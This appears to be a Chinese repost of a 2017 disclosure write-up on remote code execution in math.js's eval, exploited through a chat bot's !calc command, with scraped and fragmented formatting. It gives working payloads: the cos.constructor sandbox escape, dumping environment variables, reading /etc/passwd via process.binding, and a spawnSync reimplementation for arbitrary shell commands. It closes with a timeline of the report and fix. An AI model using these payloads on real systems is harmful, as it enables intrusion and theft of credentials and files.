!calc cos
Result: function
>
!calc
eval
Result: function
>
!calc
eval
(
"x => x"
)
Error: Value expected (char 3)
>
!calc
eval
(
"console.log"
)
Error: Undefined symbol console
>
!calc
eval
(
"return 1"
)
Result: 1
> !calc Function("return 1")
Error: Undefined symbol Function
> !calc setTimeout
Error: Undefined symbol Function
eval
(
"code"
)
new
Function
(
"code"
)
setTimeout
(
"code"
, timeout)
setInterval
(
"code"
, interval)
例如,
Function
(
"return 1"
)
可以替换为
Math
.
floor
.
constructor
(
"return 1"
)
.
因此,要评估
return
1,我们可以使用
Math
.
floor
.
constructor
(
"return 1"
)
()
。
我们知道在 math.js 环境中cos被定义为一个函数,所以我们使用了:
!calc cos.constructor(
"return 1"
)()
Result: 1
> !calc cos.constructor(
"return require"
)()
Error:
require
is
not
defined
但是,我们可以使用process,它有一些漂亮的功能:
> !calc cos.constructor("return process")()
Result: [object process]
> !calc cos.constructor("return process.env")()
Result: {
"WEB_MEMORY": "512",
"MEMORY_AVAILABLE": "512",
"NEW_RELIC_LOG": "stdout",
"NEW_RELIC_LICENSE_KEY": "<redacted>",
"DYNO": "web.1",
"PAPERTRAIL_API_TOKEN": "<redacted>",
"PATH": "/app/.heroku/node/bin:/app/.heroku/yarn/bin:bin:node_modules/.bin:/usr/local/bin:/usr/bin:/bin:/app/bin:/app/node_modules/.bin",
"WEB_CONCURRENCY": "1",
"PWD": "/app",
"NODE_ENV": "production",
"PS1": "[�33[01;34m]w[�33[00m] [�33[01;32m]$ [�33[00m]",
"SHLVL": "1",
"HOME": "/app",
"PORT": "<redacted>",
"NODE_HOME": "/app/.heroku/node",
"_": "/app/.heroku/node/bin/node"
}
为简洁起见,我们将跳过!calc
cos
.constructor(
"code"
)包装器
而是粘贴相关的 JS 代码。
> buffer = Buffer.allocUnsafe(
8192
); process.binding(
'fs'
).read(process.binding(
'fs'
).open(
'/etc/passwd'
,
0
,
0600
), buffer,
0
,
4096
);
return
buffer
root:
x:
0
:
0
:root
:/root
:/bin/bash
daemon:
x:
1
:
1
:daemon
:/usr/sbin
:/bin/sh
bin:
x:
2
:
2
:bin
:/bin
:/bin/sh
sys:
x:
3
:
3
:sys
:/dev
:/bin/sh
<more users...>
// Source: https://github.com/nodejs/node/blob/master/lib/child_process.js
// Defines spawn_sync and normalizeSpawnArguments (without error handling). These are internal variables.
spawn_sync = process.binding(
'spawn_sync'
); normalizeSpawnArguments =
function
(
c,b,a
)
{
if
(
Array
.isArray(b)?b=b.slice(
0
):(a=b,b=[]),a===
undefined
&&(a={}),a=
Object
.assign({},a),a.shell){
const
g=[c].concat(b).join(
' '
);
typeof
a.shell===
'string'
?c=a.shell:c=
'/bin/sh'
,b=[
'-c'
,g];}
typeof
a.argv0===
'string'
?b.unshift(a.argv0):b.unshift(c);
var
d=a.env||process.env;
var
e=[];
for
(
var
f
in
d)e.push(f+
'='
+d[f]);
return
{file:c,args:b,options:a,envPairs:e};}
// Defines spawnSync, the function that will do the actual spawning
spawnSync =
function
(
)
{
var
d=normalizeSpawnArguments.apply(
null
,
arguments
);
var
a=d.options;
var
c;
if
(a.file=d.file,a.args=d.args,a.envPairs=d.envPairs,a.stdio=[{
type
:
'pipe'
,readable:!
0
,writable:!
1
},{
type
:
'pipe'
,readable:!
1
,writable:!
0
},{
type
:
'pipe'
,readable:!
1
,writable:!
0
}],a.input){
var
g=a.stdio[
0
]=util._extend({},a.stdio[
0
]);g.input=a.input;}
for
(c=
0
;c<a.stdio.length;c++){
var
e=a.stdio[c]&&a.stdio[c].input;
if
(e!=
null
){
var
f=a.stdio[c]=util._extend({},a.stdio[c]);isUint8Array(e)?f.input=e:f.input=Buffer.from(e,a.encoding);}}
console
.log(a);
var
b=spawn_sync.spawn(a);
if
(b.output&&a.encoding&&a.encoding!==
'buffer'
)
for
(c=
0
;c<b.output.length;c++){
if
(!b.output[c])
continue
;b.output[c]=b.output[c].toString(a.encoding);}
return
b.stdout=b.output&&b.output[
1
],b.stderr=b.output&&b.output[
2
],b.error&&(b.error= b.error +
'spawnSync '
+d.file,b.error.path=d.file,b.error.spawnargs=d.args.slice(
1
)),b;}
从这里,我们可以生成任意进程并运行 shell 命令:
>
return
spawnSync(
'/usr/bin/whoami'
);
{
"status"
:
0
,
"signal"
:
null
,
"output"
: [
null
, u15104, ],
"pid"
:
100
,
"stdout"
: u15104,
"stderr"
:
}
-
漏洞的简短描述(mathjs.eval 中的远程代码执行缺陷); -
一个示例攻击,解释它是如何工作的(总结为什么cos.constructor("code")()有效以及可以实现什么process.bindings); -
实时服务器上的实际演示whoami(我们包括和的输出uname -a); -
关于如何修复它的建议(例如,使用vmNode.js 中的模块)。
-
2017 年 3 月 26 日 22:20 CEST:首次成功利用 -
2017 年 3 月 29 日 14:43 CEST:向作者报告了漏洞 -
2017 年 3 月 31 日 12:35 CEST:.apply报告了第二个漏洞 ( ) -
2017 年 3 月 31 日 13:52 CEST:两个漏洞均已修复
原文链接:https://jwlss.pw/mathjs/
原文始发于微信公众号(Ots安全):利用 math.js 中的远程代码执行漏洞
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论